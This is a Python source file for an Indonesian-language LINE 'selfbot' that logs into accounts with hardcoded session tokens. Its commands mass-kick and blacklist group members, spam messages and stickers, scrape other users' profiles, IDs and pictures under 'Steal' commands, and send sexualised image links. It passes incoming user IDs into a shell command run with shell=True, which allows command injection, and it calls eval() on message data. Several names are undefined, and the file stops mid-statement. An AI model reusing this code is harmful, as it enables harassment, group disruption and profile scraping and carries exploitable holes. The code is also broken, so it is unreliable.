# -*- coding: utf-8 -*- #GhostRider_Bot import LINETCR from LINETCR.lib.curve.ttypes import * from datetime import datetime from bs4 import BeautifulSoup from threading import Thread from googletrans import Translator from gtts import gTTS import time,random,sys,json,codecs,threading,glob,urllib,urllib2,urllib3,re,ast,os,subprocess,requests,tempfile alin = LINETCR.LINE() alin.login(token="EqHUAEbqMCn7yqJVdK97.X5Bf98jvJqs+mT+eSHtRHW.79KHFGm47S1heS8QSGRz5JUbf4+90N8d2VDGHNCj0/s=") alin.loginResult() ki = LINETCR.LINE() ki.login(token="EqQpGv5BxNe98v2hRsZ9.LhbHQN1ZFST//xTQDrd+Eq.d173KTXGuA7EXwT9ODlVFyy0DswDHqNruKM80+vbtmM=") ki.loginResult() print "===[Login Success Alin Ghost]===" mulai = time.time() reload(sys) sys.setdefaultencoding('utf-8') helpMessage =""" ๐Ÿ„บ๐Ÿ„ด๐Ÿ…ˆ๐Ÿ…†๐Ÿ„พ๐Ÿ…๐Ÿ„ณ [๐Ÿ”ฑ] Help [๐Ÿ”ฑ] Creator [๐Ÿ”ฑ] Gcreator [๐Ÿ”ฑ] List group [๐Ÿ”ฑ] Leave group [๐Ÿ”ฑ] Cancel [๐Ÿ”ฑ] Url on/off [๐Ÿ”ฑ] Autojoin on/off [๐Ÿ”ฑ] Autocancel on/off [๐Ÿ”ฑ] Qr on/off [๐Ÿ”ฑ] Autokick on/off [๐Ÿ”ฑ] Contact on/off [๐Ÿ”ฑ] Gift1-3 [๐Ÿ”ฑ] Gr/Tagall [๐Ÿ”ฑ] Setp [๐Ÿ”ฑ] View [๐Ÿ”ฑ] Boom @ [๐Ÿ”ฑ] Add all [๐Ÿ”ฑ] Recover [๐Ÿ”ฑ] Remove chat [๐Ÿ”ฑ] Gn [ name ] [๐Ÿ”ฑ] Kick [ mid ] [๐Ÿ”ฑ] Invite [ mid ] [๐Ÿ”ฑ] Welcome [๐Ÿ”ฑ] Bc [ text ] [๐Ÿ”ฑ] Cancelall [๐Ÿ”ฑ] Gurl [๐Ÿ”ฑ] Self Like [๐Ÿ”ฑ] Speedbot [๐Ÿ”ฑ] Ban [๐Ÿ”ฑ] Unban [๐Ÿ”ฑ] Ban @ [๐Ÿ”ฑ] Unban @ [๐Ÿ”ฑ] Banlist [๐Ÿ”ฑ] Kill ban [๐Ÿ”ฑ] Mid @ [๐Ÿ”ฑ] Kernel [๐Ÿ”ฑ] Random [ jml ] [๐Ÿ”ฑ] Gcreator inv [๐Ÿ”ฑ] Gcreator [๐Ÿ”ฑ] Kickall [๐Ÿ”ฑ] Reboot [๐Ÿ”ฑ] Runtime [๐Ÿ”ฑ] Blacklist @ [๐Ÿ”ฑ] Myname [๐Ÿ”ฑ] Mybio [๐Ÿ”ฑ] Copy @ [๐Ÿ”ฑ] Backup me [๐Ÿ”ฑ] Ifconfig [๐Ÿ”ฑ] Kernel [๐Ÿ”ฑ] Cpu [๐Ÿ”ฑ] System [๐Ÿ”ฑ] Say [๐Ÿ”ฑ] Say-en [๐Ÿ”ฑ] Say-af [๐Ÿ”ฑ] Say-ko [๐Ÿ”ฑ] Say-id [๐Ÿ”ฑ] Say-de [๐Ÿ”ฑ] Say-jp [๐Ÿ”ฑ] Say-pl [๐Ÿ”ฑ] Music [๐Ÿ”ฑ] Lyric [๐Ÿ”ฑ] Steal name @ [๐Ÿ”ฑ] Steal bio @ [๐Ÿ”ฑ] Steal status @ [๐Ÿ”ฑ] Steal contact @ [๐Ÿ”ฑ] Steal cover @ [๐Ÿ”ฑ] Steal pict @ [๐Ÿ”ฑ] Steal mid @ [๐Ÿ”ฑ] Steal group pict [๐Ÿ”ฑ] Midpict [๐Ÿ”ฑ] Info @ [๐Ÿ”ฑ] Youtube [๐Ÿ”ฑ] Vidio [๐Ÿ”ฑ] Wiki [๐Ÿ”ฑ] Instagram [๐Ÿ”ฑ] Trans-idn [๐Ÿ”ฑ] Trans-eng [๐Ÿ”ฑ] Trans-japan [๐Ÿ”ฑ] Trans-thai [๐Ÿ”ฑ] Spam [on/off] [jml] [text] [๐Ÿ”ฑ] Image (link) [๐Ÿ”ฑ] Searchimage [๐Ÿ”ฑ] Spam gift [๐Ÿ”ฑ] Spam sticker [๐Ÿ”ฑ] Random sticker [๐Ÿ”ฑ] Random gift [๐Ÿ”ฑ] Random number [๐Ÿ”ฑ] Bisakah [๐Ÿ”ฑ] Dosa @ [๐Ÿ”ฑ] Pahala @ [๐Ÿ”ฑ] Dimana [๐Ÿ”ฑ] Apakah [๐Ÿ”ฑ] Besar cinta nama ke nama [๐Ÿ”ฑ] Gr clone @ [๐Ÿ”ฑ] Gr backup [๐Ÿ”ฑ] Gr spam @ [๐Ÿ”ฑ] Gr name [๐Ÿ”ฑ] Gr bio [๐Ÿ”ฑ] speed [๐Ÿ”ฑ] Gr join [๐Ÿ”ฑ] Gr out By Alin Ghost Riderย  """ KAC=[alin,ki] mid = alin.getProfile().mid Amid = ki.getProfile().mid Creator="ue454f1208a40766f4034d0e7abd6e164" admin=["uc796c5f7c2558d04bf32dfc4b214eb87",mid] contact = alin.getProfile() backup = alin.getProfile() backup.displayName = contact.displayName backup.statusMessage = contact.statusMessage backup.pictureStatus = contact.pictureStatus contact = ki.getProfile() backup = ki.getProfile() backup.displayName = contact.displayName backup.statusMessage = contact.statusMessage backup.pictureStatus = contact.pictureStatus wait = { "LeaveRoom":True, "AutoJoin":True, "Members":0, "AutoCancel":False, "AutoKick":False, "blacklist":{}, "wblacklist":False, "dblacklist":False, "Qr":True, "Timeline":True, "Contact":True, "lang":"JP", "BlGroup":{} } def sendMessage(to, text, contentMetadata={}, contentType=0): mes = Message() mes.to, mes.from_ = to, profile.mid mes.text = text mes.contentType, mes.contentMetadata = contentType, contentMetadata if to not in messageReq: messageReq[to] = -1 messageReq[to] += 1 def waktu(secs): mins, secs = divmod(secs,60) hours, mins = divmod(mins,60) return '%02d Jam %02d Menit %02d Detik' % (hours, mins, secs) #^deff searchimage def download_page(url): version = (3,0) cur_version = sys.version_info if cur_version >= version: #If the Current Version of Python is 3.0 or above import urllib,request #urllib library for Extracting web pages try: headers = {} headers['User-Agent'] = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" req = urllib,request.Request(url, headers = headers) resp = urllib,request.urlopen(req) respData = str(resp.read()) return respData except Exception as e: print(str(e)) else: #If the Current Version of Python is 2.x import urllib2 try: headers = {} headers['User-Agent'] = "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.27 Safari/537.17" req = urllib2.Request(url, headers = headers) response = urllib2.urlopen(req) page = response.read() return page except: return"Page Not found" #Finding 'Next Image' from the given raw page def _images_get_next_item(s): start_line = s.find('rg_di') if start_line == -1: #If no links are found then give an error! end_quote = 0 link = "no_links" return link, end_quote else: start_line = s.find('"class="rg_meta"') start_content = s.find('"ou"',start_line+90) end_content = s.find(',"ow"',start_content-90) content_raw = str(s[start_content+6:end_content-1]) return content_raw, end_content #Getting all links with the help of '_images_get_next_image' def _images_get_all_items(page): items = [] while True: item, end_content = _images_get_next_item(page) if item == "no_links": break else: items.append(item) #Append all the links in the list named 'Links' time.sleep(0.1) #Timer could be used to slow down the request for image downloads page = page[end_content:] return items def yt(query): with requests.session() as s: isi = [] if query == "": query = "S1B tanysyz" s.headers['user-agent'] = 'Mozilla/5.0' url = 'http://www.youtube.com/results' params = {'search_query': query} r = s.get(url, params=params) soup = BeautifulSoup(r.content, 'html5lib') for a in soup.select('.yt-lockup-title > a[title]'): if '&list=' not in a['href']: if 'watch?v' in a['href']: b = a['href'].replace('watch?v=', '') isi += ['youtu.be' + b] return isi def mention(to, nama): aa = "" bb = "" strt = int(14) akh = int(14) nm = nama for mm in nm: akh = akh + 2 aa += """{"S":"""+json.dumps(str(strt))+""","E":"""+json.dumps(str(akh))+""","M":"""+json.dumps(mm)+"},""" strt = strt + 6 akh = akh + 4 bb += "\xe2\x95\xa0 @x \n" aa = (aa[:int(len(aa)-1)]) msg = Message() msg.to = to msg.text = "\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\n"+bb+"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90" msg.contentMetadata ={'MENTION':'{"MENTIONEES":['+aa+']}','EMTVER':'4'} print "[Command] Tag All" try: alin.sendMessage(msg) except Exception as error: print error def bot(op): try: #--------------------END_OF_OPERATION-------------------- if op.type == 0: return #-------------------NOTIFIED_READ_MESSAGE---------------- if op.type == 55: try: group_id = op.param1 user_id=op.param2 subprocess.Popen('echo "'+ user_id+'|'+str(op.createdTime)+'" >> dataSeen/%s.txt' % group_id, shell=True, stdout=subprocess.PIPE, ) except Exception as e: print e #------------------NOTIFIED_INVITE_INTO_ROOM------------- if op.type == 22: alin.leaveRoom(op.param1) #--------------------INVITE_INTO_ROOM-------------------- if op.type == 21: alin.leaveRoom(op.param1) #--------------NOTIFIED_INVITE_INTO_GROUP---------------- if mid in op.param3: if wait["AutoJoin"] == True: alin.acceptGroupInvitation(op.param1) else: alin.rejectGroupInvitation(op.param1) else: if wait["AutoCancel"] == True: if op.param3 in admin: pass else: alin.cancelGroupInvitation(op.param1, [op.param3]) else: if op.param3 in wait["blacklist"]: alin.cancelGroupInvitation(op.param1, [op.param3]) alin.sendText(op.param1, "Itu kicker jgn di invite!") else: pass #------------------NOTIFIED_KICKOUT_FROM_GROUP----------------- #------------------------------- if op.type == 19: if mid in op.param3: wait["blacklist"][op.param2] = True if op.type == 17: if mid in op.param3: if wait["blacklist"] == True: alin.kickoutFromGroup(op.param1,[op.param2]) ki.kickoutFromGroup(op.param1,[op.param2]) kk.kickoutFromGroup(op.param1,[op.param2]) ks.kickoutFromGroup(op.param1,[op.param2]) if op.type == 32: if mid in op.param3: wait["blacklist"][op.param2] == True if op.type == 32: if mid in op.param3: if wait["blacklist"] == True: alin.kickoutFromGroup(op.param1,[op.param2]) ki.kickoutFromGroup(op.param1,[op.param2]) kk.kickoutFromGroup(op.param1,[op.param2]) ks.kickoutFromGroup(op.param1,[op.param2]) if op.type == 25: if mid in op.param3: wait["blacklist"][op.param2] == True if op.type == 25: if mid in op.param3: if wait["blacklist"] == True: alin.kickoutFromGroup(op.param1,[op.param2]) ki.kickoutFromGroup(op.param1,[op.param2]) kk.kickoutFromGroup(op.param1,[op.param2]) ks.kickoutFromGroup(op.param1,[op.param2]) if op.type == 22: if wait["leaveRoom"] == True: alin.leaveRoom(op.param1) if op.type == 24: if wait["leaveRoom"] == True: alin.leaveRoom(op.param1) if op.param3 == "4": if op.param1 in protecturl: group = alin.getGroup(op.param1) if group.preventJoinByTicket == False: group.preventJoinByTicket = True alin.updateGroup(group) alin.sendText(op.param1,"URL can not be changed") ki.kickoutFromGroup(op.param1,[op.param2]) kk.kickoutFromGroup(op.param1,[op.param2]) ks.kickoutFromGroup(op.param1,[op.param2]) wait["blacklist"][op.param2] = True f=codecs.open('st2__b.json','w','utf-8') json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False) else: pass if op.type == 19: if wait["AutoKick"] == True: if op.param2 in admin: pass try: alin.kickoutFromGroup(op.param1,[op.param2]) alin.inviteIntoGroup(op.param1,[op.param3]) except: try: alin.kickoutFromGroup(op.param1,[op.param2]) alin.inviteIntoGroup(op.param1,[op.param3]) except: print ("client Kick regulation or Because it does not exist in the group\ngid=["+op.param1+"]\nmid=["+op.param2+"]") if op.param2 in wait["blacklist"]: pass else: if op.param2 in admin: pass else: wait["blacklist"][op.param2] = True if op.param2 in wait["blacklist"]: pass else: if op.param2 in admin: pass else: wait["blacklist"][op.param2] = True #--------------------------NOTIFIED_UPDATE_GROUP--------------------- if op.type == 11: if wait["Qr"] == True: if op.param2 in admin: pass else: alin.sendText(msg.to, "Jangan mainan QR ntr ada kicker") else: pass #--------------------------SEND_MESSAGE--------------------------- if op.type == 25: msg = op.message #---------------------------------------------------------------------------- if msg.contentType == 13: if wait["wblacklist"] == True: if msg.contentMetadata["mid"] not in admin: if msg.contentMetadata["mid"] in wait["blacklist"]: alin.sendText(msg.to,"already") wait["wblacklist"] = False else: wait["blacklist"][msg.contentMetadata["mid"]] = True wait["wblacklist"] = False alin.sendText(msg.to,"aded") else: alin.sendText(msg.to,"Admin Detected~") elif wait["dblacklist"] == True: if msg.contentMetadata["mid"] in wait["blacklist"]: del wait["blacklist"][msg.contentMetadata["mid"]] alin.sendText(msg.to,"deleted") wait["dblacklist"] = False else: wait["dblacklist"] = False alin.sendText(msg.to,"It is not in the black list") #-------------------------------------------------------- elif wait["Contact"] == True: msg.contentType = 0 alin.sendText(msg.to,msg.contentMetadata["mid"]) if 'displayName' in msg.contentMetadata: contact = alin.getContact(msg.contentMetadata["mid"]) try: cu = alin.channel.getCover(msg.contentMetadata["mid"]) except: cu = "" alin.sendText(msg.to,"[displayName]:\n" + msg.contentMetadata["displayName"] + "\n[mid]:\n" + msg.contentMetadata["mid"] + "\n[statusMessage]:\n" + contact.statusMessage + "\n[pictureStatus]:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n[coverURL]:\n" + str(cu)) else: contact = alin.getContact(msg.contentMetadata["mid"]) try: cu = alin.channel.getCover(msg.contentMetadata["mid"]) except: cu = "" alin.sendText(msg.to,"[displayName]:\n" + contact.displayName + "\n[mid]:\n" + msg.contentMetadata["mid"] + "\n[statusMessage]:\n" + contact.statusMessage + "\n[pictureStatus]:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n[coverURL]:\n" + str(cu)) #-------------------------------------------------------- elif msg.text == "Ginfo": if msg.toType == 2: ginfo = alin.getGroup(msg.to) try: gCreator = ginfo.creator.displayName except: gCreator = "Error" if wait["lang"] == "JP": if ginfo.invitee is None: sinvitee = "0" else: sinvitee = str(len(ginfo.invitee)) if ginfo.preventJoinByTicket == True: u = "close" else: u = "open" alin.sendText(msg.to,"[Group name]\n" + str(ginfo.name) + "\n\n[Gid]\n" + msg.to + "\n\n[Group creator]\n" + gCreator + "\n\n[Profile status]\nhttp://dl.profile.line.naver.jp/" + ginfo.pictureStatus + "\n\nMembers:" + str(len(ginfo.members)) + "members\nPending:" + sinvitee + "people\nURL:" + u + "it is inside") else: alin.sendText(msg.to,"[group name]\n" + str(ginfo.name) + "\n[gid]\n" + msg.to + "\n[group creator]\n" + gCreator + "\n[profile status]\nhttp://dl.profile.line.naver.jp/" + ginfo.pictureStatus) else: if wait["lang"] == "JP": alin.sendText(msg.to,"Can not be used outside the group") else: alin.sendText(msg.to,"Not for use less than group") #-------------------------------------------------------- elif msg.text is None: return #-------------------------------------------------------- #//commandnya elif msg.text.lower() == 'runtime': eltime = time.time() - mulai van = "ใ€ŒSelbot sudah berjalan selama ใ€"+waktu(eltime) alin.sendText(msg.to,van) elif msg.text is None: return elif msg.text in ["Creator"]: msg.contentType = 13 msg.contentMetadata = {'mid': "ue454f1208a40766f4034d0e7abd6e164"} alin.sendMessage(msg) alin.sendText(msg.to,"Itu Creator saya manis dan ngangenin kan ๐Ÿ˜„") #-------------------------------------------------------- elif msg.text in ["Group creator","Gcreator","gcreator"]: ginfo = alin.getGroup(msg.to) gCreator = ginfo.creator.mid msg.contentType = 13 msg.contentMetadata = {'mid': gCreator} alin.sendMessage(msg) alin.sendText(msg.to,"Itu Yang Buat Grup Ini") #-------------------------------------------------------- elif msg.contentType == 16: if wait["Timeline"] == True: msg.contentType = 0 msg.text = "post URL\n" + msg.contentMetadata["postEndUrl"] alin.sendText(msg.to,msg.text) #-------------------------------------------------------- #---------------- elif "Steal contact" in msg.text: if msg.from_ in admin: key = eval(msg.contentMetadata["MENTION"]) key1 = key["MENTIONEES"][0]["M"] mmid = alin.getContact(key1) msg.contentType = 13 msg.contentMetadata = {"mid": key1} alin.sendMessage(msg) elif msg.text in ["Key","help","Myhelp"]: alin.sendText(msg.to,helpMessage) msg.contentType = 13 msg.contentMetadata = {'mid': Creator} alin.sendMessage(msg) #-------------------------------------------------------- #---------------------- elif "Besar cinta" in msg.text: tanya = msg.text.replace("Besar cinta","") jawab = ("0%","10%","20%","30%","40%","50%","60%","70%","80%","90%","100%") jawaban = random.choice(jawab) alin.sendText(msg.to,"Besar Cinta " + tanya + " adalah " + jawaban) #----------------------------------------------- #---------------------- elif "Dimana " in msg.text: tanya = msg.text.replace("Dimana ","") jawab = ("Kuburan :v","Di pantai ","Pinggir sungai"," Singapore ","Perancis ( perapatan Ciamis hehe )") jawaban = random.choice(jawab) alin.sendText(msg.to," Pertanyaan : Dimana " + tanya + "\n==================\n" + "Jawaban : " + jawaban) #----------------------------------------------- #---------------------- elif "Bisakah " in msg.text: tanya = msg.text.replace("Bisakah ","") jawab = ("Ya","Bisa jadi","Mungkin","Coba tanya lagi :v","Tidak") jawaban = random.choice(jawab) alin.sendText(msg.to," Pertanyaan : Bisakah " + tanya + "\n==================\n" + "Jawaban : " + jawaban) #----------------------------------------------- #---------------------- elif "Apakah " in msg.text: tanya = msg.text.replace("Apakah ","") jawab = ("Ya","Bisa jadi","Mungkin","Coba tanya lagi :v","Tidak") jawaban = random.choice(jawab) alin.sendText(msg.to," Pertanyaan : Apakah " + tanya + "\n==================\n" + "Jawaban : " + jawaban) #----------------------------------------------- #---------------------- elif "Dosa " in msg.text: tanya = msg.text.replace("Dosa ","") jawab = ("10%","20%","30%","40%","50%","60%","70%","80%","90%","100%","Tak terhingga") jawab2 = ("Waduh tobat yah","Banyak banyak tobat yah","Maksiat mulu sih lu") jawaban = random.choice(jawab) basa = random.choice(jawab2) alin.sendText(msg.to,"Dosanya " + tanya + " adalah " + jawaban + " " + basa) #----------------------------------------------- elif msg.text in ["List group"]: gid = alin.getGroupIdsJoined() h = "" jml = 0 for i in gid: gn = alin.getGroup(i).name h += "โ™ฌใ€%sใ€‘\n" % (gn) jml += 1 alin.sendText(msg.to,"======[List Group]======\n"+ h +"Total group: "+str(jml)) #-------------------------------------------------------- elif "Leave group: " in msg.text: ng = msg.text.replace("Leave group: ","") gid = alin.getGroupIdsJoined() for i in gid: h = alin.getGroup(i).name if h == ng: alin.sendText(i,"Bye "+h+"~") alin.leaveGroup(i) alin.sendText(msg.to,"Success left ["+ h +"] group") else: pass #-------------------------------------------------------- #============================================================ elif "Steal mid" in msg.text: if msg.from_ in admin: key = eval(msg.contentMetadata["MENTION"]) key1 = key["MENTIONEES"][0]["M"] alin.sendText(msg.to,"Mc: " + key1) #========================================== elif "Youtube " in msg.text.lower(): if msg.from_ in admin: query = msg.text.split(" ") try: if len(query) == 3: isi = yt(query[2]) hasil = isi[int(query[1])-1] alin.sendText(msg.to, hasil) else: isi = yt(query[1]) alin.sendText(msg.to, isi[0]) except Exception as e: alin.sendText(msg.to, str(e)) elif 'Vidio ' in msg.text: if msg.from_ in admin: try: textToSearch = (msg.text).replace('Vidio ', "").strip() query = urllib.quote(textToSearch) url = "https://www.youtube.com/results?search_query=" + query response = urllib2.urlopen(url) html = response.read() soup = BeautifulSoup(html, "html.parser") results = soup.find(attrs={'class':'yt-uix-tile-link'}) ght=('https://www.youtube.com' + results['href']) alin.sendVideoWithURL(msg.to,ght) except: alin.sendText(msg.to,"Could not find it") #------------ #================================================== elif 'lyric ' in msg.text.lower(): if msg.from_ in admin: try: songname = msg.text.lower().replace('lyric ','') params = {'songname': songname} r = requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params)) data = r.text data = json.loads(data) for song in data: hasil = 'Lyric Lagu (' hasil += song[0] hasil += ')\n\n' hasil += song[5] alin.sendText(msg.to, hasil) except Exception as wak: alin.sendText(msg.to, str(wak)) #----------------Fungsi Join Group Start-----------------------# elif msg.text in ["Join","Gr join","Join all"]: if msg.from_ in admin: G = alin.getGroup(msg.to) ginfo = alin.getGroup(msg.to) G.preventJoinByTicket = False alin.updateGroup(G) invsend = 0 Ticket = alin.reissueGroupTicket(msg.to) ki.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) kk.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) kc.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) ks.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) ka.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) kb.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) ko.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) ke.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) ku.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) ku2.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) ku3.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) ku4.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) ku5.acceptGroupInvitationByTicket(msg.to,Ticket) time.sleep(0.01) G = alin.getGroup(msg.to) ginfo = alin.getGroup(msg.to) G.preventJoinByTicket = True alin.updateGroup(G) print "Semua Sudah Lengkap" G.preventJoinByTicket(G) random.choice(KAC).updateGroup(G) elif 'wiki ' in msg.text.lower(): if msg.from_ in admin: try: wiki = msg.text.lower().replace("wiki ","") wikipedia.set_lang("id") pesan="Title (" pesan+=wikipedia.page(wiki).title pesan+=")\n\n" pesan+=wikipedia.summary(wiki, sentences=1) pesan+="\n" pesan+=wikipedia.page(wiki).url alin.sendText(msg.to, pesan) except: try: pesan="Over Text Limit! Please Click link\n" pesan+=wikipedia.page(wiki).url alin.sendText(msg.to, pesan) except Exception as e: alin.sendText(msg.to, str(e)) elif "Info @" in msg.text: if msg.from_ in admin: nama = msg.text.replace("Info @","") target = nama.rstrip(' ') tob = alin.getGroup(msg.to) for g in tob.members: if target == g.displayName: gjh= alin.getContact(g.mid) try: cover = alin.channel.getCover(g.mid) except: cover = "" alin.sendText(msg.to,"[Display Name]:\n" + gjh.displayName + "\n[Mid]:\n" + gjh.mid + "\n[BIO]:\n" + gjh.statusMessage + "\n[pict profile]:\nhttp://dl.profile.line-cdn.net/" + gjh.pictureStatus + "\n[Cover]:\n" + str(cover)) else: pass #------------------------------------------------- elif "Say-jp " in msg.text: say = msg.text.replace("Say-ja ","") lang = 'ja' tts = gTTS(text=say, lang=lang) tts.save("hasil.mp3") alin.sendAudio(msg.to,"hasil.mp3") #--------------------- elif 'instagram ' in msg.text.lower(): if msg.from_ in admin: try: instagram = msg.text.lower().replace("instagram ","") html = requests.get('https://www.instagram.com/' + instagram + '/?') soup = BeautifulSoup(html.text, 'html5lib') data = soup.find_all('meta', attrs={'property':'og:description'}) text = data[0].get('content').split() data1 = soup.find_all('meta', attrs={'property':'og:image'}) text1 = data1[0].get('content').split() user = "Name: " + text[-2] + "\n" user1 = "Username: " + text[-1] + "\n" followers = "Followers: " + text[0] + "\n" following = "Following: " + text[2] + "\n" post = "Post: " + text[4] + "\n" link = "Link: " + "https://www.instagram.com/" + instagram detail = "======INSTAGRAM INFO USER======\n" details = "\n======INSTAGRAM INFO USER======" alin.sendText(msg.to, detail + user + user1 + followers + following + post + link + details) alin.sendImageWithURL(msg.to, text1[0]) except Exception as njer: alin.sendText(msg.to, str(njer)) #---------------------- elif "Pap cecan" in msg.text: tanya = msg.text.replace("Pap cecan","") jawab = ("https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQAa0KQ8XfoVfKRh82Ys63AX3VcuPml1JJFLk7iTEtMpmd7OzbN-yk_MGK6","https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRPMwr1Igswf8wgrTURHbGAt9jn54SvimA6Ps6W6lCtItkrh4I-kA","https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRg5SRVDjILsjUyBeLkBnbV96kX22_1mplLyjfCKws6nv8E_VtMDyV07e56bw","https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTOXZ4yFF8R8vPVmEl21Txhvzh4YpUJkJ2uuO3KQLUzYIEVsuT9") jawaban = random.choice(jawab) alin.sendImageWithURL(msg.to,jawaban) #----------------------------------------------- #---------------------- elif "Pap toket" in msg.text: tanya = msg.text.replace("Pap toket","") jawab = ("https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTilO50kExe4q_t-l8Kfn98sxyrHcbWPWCu2GP2SNgg8XWGMaZc8h5zaxAeVA","https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQKgSYYgB33GP3LAvVSYxKjDlbPokmtzSWjbWJogz8lbZMNSyvqJTE3qWpwBg","https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTgwKO_CAdZpSlXVVfA29qglGQR00WHkeqq4JakyYDuzIW2tKhvGg","https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcSC3ZMq4PnCX5dj7Fc_N6HOG6R_XrmOM7r6uBtpEcBfbO4hMEXQirK_lU_ePw","https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRgynJUxS4uYgaIiV_R6e4FY62QfhYRUEgYZg6psfJzWH_ci4dFng") jawaban = random.choice(jawab) alin.sendImageWithURL(msg.to,jawaban) #-----------------------------------------------#---------------------- elif "Pap anu" in msg.text: tanya = msg.text.replace("Pap anu","") jawab = ("https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQFFKdXErF56KzAa4oWnWQT34jmGKJ66lj1g0hnN4zwYh9GgW0dHWZfRnuM","https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQTn4_JMD1ZAg-XIk6JZ1Crhz9gtXEIS8AcjTA3SYmazAutt7ekHw","https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTIVuITo7KicaU6UwPhol1Rvkq4aQwznly8Xl2SiTlAa_1FrSHuwhwV5XoElA") jawaban = random.choice(jawab) alin.sendImageWithURL(msg.to,jawaban) #----------------------------------------------- #======================================================= elif "Trans-eng " in msg.text: if msg.from_ in admin: txt = msg.text.replace("Translate-eng ","") try: gs = goslate.Goslate() trs = gs.translate(txt,'en') alin.sendText(msg.to,trs) print '[Command] Translate EN' except Exception as error: alin.sendText(msg.to,(error)) elif "Trans-jp" in msg.text: if msg.from_ in admin: txt = msg.text.replace("Translate-jp ","") try: gs = goslate.Goslate() trs = gs.translate(txt,'jp') alin.sendText(msg.to,trs) print '[Command] Translate jp' except Exception as error: alin.sendText(msg.to,(error)) elif "Trans-th " in msg.text: if msg.from_ in admin: txt = msg.text.replace("Translate-th ","") try: gs = goslate.Goslate() trs = gs.translate(txt,'th') alin.sendText(msg.to,trs) print '[Command] Translate th' except Exception as error: alin.sendText(msg.to,(error)) elif "Trans-idn " in msg.text: if msg.from_ in admin: txt = msg.text.replace("Translate-id ","") try: gs = goslate.Goslate() trs = gs.translate(txt,'id') alin.sendText(msg.to,trs) print '[Command] Translate ID' except Exception as error: alin.sendText(msg.to,(error)) #------------------------------------------------ elif "Say-en " in msg.text: say = msg.text.replace("Say-en ","") lang = 'en' tts = gTTS(text=say, lang=lang) tts.save("hasil.mp3") alin.sendAudio(msg.to,"hasil.mp3") #----------------------------------------------- #------------------------------------------------ elif "Say-pl " in msg.text: say = msg.text.replace("Say-pl ","") lang = 'pl' tts = gTTS(text=say, lang=lang) tts.save("hasil.mp3") alin.sendAudio(msg.to,"hasil.mp3") #----------------------------------------------- #------------------------------------------------ elif "Say-af " in msg.text: say = msg.text.replace("Say-af ","") lang = 'af' tts = gTTS(text=say, lang=lang) tts.save("hasil.mp3") alin.sendAudio(msg.to,"hasil.mp3") #----------------------------------------------- #------------------------------------------------ elif "Say-ko " in msg.text: say = msg.text.replace("Say-ko ","") lang = 'ko' tts = gTTS(text=say, lang=lang) tts.save("hasil.mp3") alin.sendAudio(msg.to,"hasil.mp3") #----------------------------------------------- #------------------------------------------------ elif "Say-id " in msg.text: say = msg.text.replace("Say-id ","") lang = 'id' tts = gTTS(text=say, lang=lang) tts.save("hasil.mp3") alin.sendAudio(msg.to,"hasil.mp3") #----------------------------------------------- #------------------------------------------------ elif "Say-de " in msg.text: say = msg.text.replace("Say-de ","") lang = 'de' tts = gTTS(text=say, lang=lang) tts.save("hasil.mp3") alin.sendAudio(msg.to,"hasil.mp3") #----------------------------------------------- #-------------------------------------------------------- elif msg.text in ["cancel","Cancel"]: if msg.toType == 2: X = alin.getGroup(msg.to) if X.invitee is not None: gInviMids = [contact.mid for contact in X.invitee] alin.cancelGroupInvitation(msg.to, gInviMids) else: alin.sendText(msg.to,"No one is inviting") else: Alin.sendText(msg.to,"Can not be used outside the group") #-------------------------------------------------------- #----------- elif "Steal group pict" in msg.text: if msg.from_ in admin: group = alin.getGroup(msg.to) path = "http://dl.profile.line-cdn.net/" + group.pictureStatus alin.sendImageWithURL(msg.to,path) elif msg.text in ["Ourl","Url:on"]: if msg.toType == 2: X = alin.getGroup(msg.to) X.preventJoinByTicket = False alin.updateGroup(X) alin.sendText(msg.to,"Url Active") else: alin.sendText(msg.to,"Can not be used outside the group") #------------------------------------------------------- #================================================================== elif "Steal bio" in msg.text: if msg.from_ in admin: key = eval(msg.contentMetadata["MENTION"]) key1 = key["MENTIONEES"][0]["M"] contact = alin.getContact(key1) cu = alin.channel.getCover(key1) try: alin.sendText(msg.to,contact.statusMessage) except: alin.sendText(msg.to,contact.statusMessage) elif msg.text in ["Curl","Url:off"]: if msg.toType == 2: X = alin.getGroup(msg.to) X.preventJoinByTicket = True alin.updateGroup(X) 